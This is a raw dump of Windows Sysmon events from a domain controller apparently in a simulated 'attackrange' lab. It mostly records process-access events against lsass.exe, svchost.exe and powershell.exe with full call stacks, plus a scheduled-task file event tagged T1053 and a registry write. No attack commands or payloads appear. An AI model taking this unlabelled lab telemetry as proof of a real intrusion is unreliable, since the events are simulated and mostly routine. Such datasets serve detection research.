09:09:19.544{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+f71b|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000929Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.544{A5F018FF-28BD-5F80-0B00-000000007F01}86892C:\Windows\system32\lsass.exe{A5F018FF-28BD-5F80-0A00-000000007F01}852C:\Windows\system32\services.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000928Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.513{A5F018FF-28BC-5F80-0500-000000007F01}6441148C:\Windows\system32\csrss.exe{00000000-0000-0000-0000-000000000000}2096C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x8000000000000000927Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.513{A5F018FF-28BF-5F80-0F00-000000007F01}11281892C:\Windows\system32\svchost.exe{00000000-0000-0000-0000-000000000000}2096C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|c:\windows\system32\UBPM.dll+a711|c:\windows\system32\UBPM.dll+f974|c:\windows\system32\UBPM.dll+cd3c|c:\windows\system32\UBPM.dll+d305|c:\windows\system32\UBPM.dll+dc05|c:\windows\system32\UBPM.dll+e91d|c:\windows\system32\UBPM.dll+e12a|c:\windows\system32\UBPM.dll+dd82|c:\windows\system32\EventAggregation.dll+3e22|c:\windows\system32\EventAggregation.dll+389a|c:\windows\system32\EventAggregation.dll+332f|c:\windows\system32\EventAggregation.dll+2e28|C:\Windows\SYSTEM32\ntdll.dll+64ed5|C:\Windows\SYSTEM32\ntdll.dll+64bf8|C:\Windows\SYSTEM32\ntdll.dll+64a40|C:\Windows\SYSTEM32\ntdll.dll+45b70|C:\Windows\SYSTEM32\ntdll.dll+2a073|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000926Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.513{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000925Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.513{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000924Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.513{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000923Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.513{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000922Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.513{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000921Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.513{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000920Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.497{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000919Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.497{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000918Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.497{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000917Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.497{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-1000-000000007F01}1136C:\Windows\System32\svchost.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\lsm.dll+b4ff|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+7d09|C:\Windows\System32\combase.dll+22b9|C:\Windows\System32\combase.dll+53b8c|C:\Windows\System32\combase.dll+53842|C:\Windows\System32\combase.dll+51968|C:\Windows\System32\combase.dll+4fedd|C:\Windows\System32\combase.dll+4f5bf|C:\Windows\System32\combase.dll+6da09|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5982e|C:\Windows\System32\RPCRT4.dll+39257|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4 10341000x8000000000000000916Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.497{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8b22|c:\windows\system32\lsm.dll+8a76|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000915Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.497{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8a38|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000914Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.497{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000913Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.497{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000912Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.497{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000911Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.497{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 11241100x8000000000000000910Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localT10532020-10-09 09:09:19.466{A5F018FF-28BF-5F80-0F00-000000007F01}1128C:\Windows\system32\svchost.exeC:\Windows\Tasks\SA.DAT2016-09-12 11:34:03.403 13241300x8000000000000000909Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-SetValue2020-10-09 09:09:19.434{A5F018FF-28BF-5F80-1100-000000007F01}1200C:\Windows\system32\svchost.exeHKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles\{31A4CA7A-A0B6-45FF-8477-FB61BC7E282C}\DateLastConnectedBinary Data 10341000x8000000000000000908Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.419{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000907Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.419{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000906Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.419{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000905Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:19.419{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-1500-000000007F01}1356C:\Windows\system32\dwm.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000904Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 